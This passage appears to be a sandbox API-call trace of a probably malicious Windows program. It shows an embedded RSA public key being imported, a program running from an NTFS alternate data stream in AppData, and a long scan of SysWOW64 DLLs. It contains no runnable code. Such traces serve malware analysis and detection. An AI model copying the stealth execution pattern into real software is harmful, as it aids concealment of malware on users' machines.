pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x2167cf8, pcbBinary=0x20f71c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2167cf8, pcbBinary=0x20f71c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0140.393] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2167cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x20f71c | out: pvStructInfo=0x0, pcbStructInfo=0x20f71c) returned 1 [0140.397] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x2167cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x2167f40, pcbStructInfo=0x20f71c | out: pvStructInfo=0x2167f40, pcbStructInfo=0x20f71c) returned 1 [0140.397] CryptImportPublicKeyInfo (in: hCryptProv=0x39dce8, dwCertEncodingType=0x10001, pInfo=0x2167f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x2167f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x2167f78*, PublicKey.cUnusedBits=0x0), phKey=0x20f720 | out: phKey=0x20f720*=0x39dca8) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2167f40) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2167cf8) returned 1 [0140.398] ReleaseMutex (hMutex=0xa0) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2165058) returned 1 [0140.398] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x2165058 [0140.398] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c900 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c900) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2165058) returned 1 [0140.398] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x2165058 [0140.398] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c900 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c900) returned 1 [0140.398] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c900 [0140.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0140.398] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e1e0 [0140.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c900, cbMultiByte=9, lpWideCharStr=0x226e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0140.398] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e268 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e1e0) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e268) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c900) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2165058) returned 1 [0140.398] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2162850) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d258) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c240) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d268) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d278) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d288) returned 1 [0140.399] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0140.399] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0140.399] StartServiceCtrlDispatcherW (lpServiceTable=0x20f7e8*(lpServiceName="", lpServiceProc=0x25d040)) returned 0 [0140.423] GetLastError () returned 0x427 [0140.423] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e268 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x5c) returned 0x226dd28 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e1e0 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e2f0 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e378 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e400 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e488 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e510 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e598 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e620 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e6a8 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e730 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e7b8 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x100) returned 0x2167cf8 [0140.423] GetSystemWow64DirectoryW (in: lpBuffer=0x2167cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0140.423] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2167cf8) returned 1 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.423] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.423] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.423] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x20f544, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f544) returned 0x3a27d0 [0140.424] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.424] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.424] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.424] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.424] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.424] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.424] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.424] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.424] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0140.425] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.425] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.425] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x226c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0140.425] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.425] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.425] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.425] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.425] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.425] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0140.425] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.425] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.426] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.426] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x226c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.426] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.426] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.426] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.427] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x226c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.427] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x226c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.427] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.427] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0140.427] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.428] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.428] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.428] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.428] RtlFreeHeap 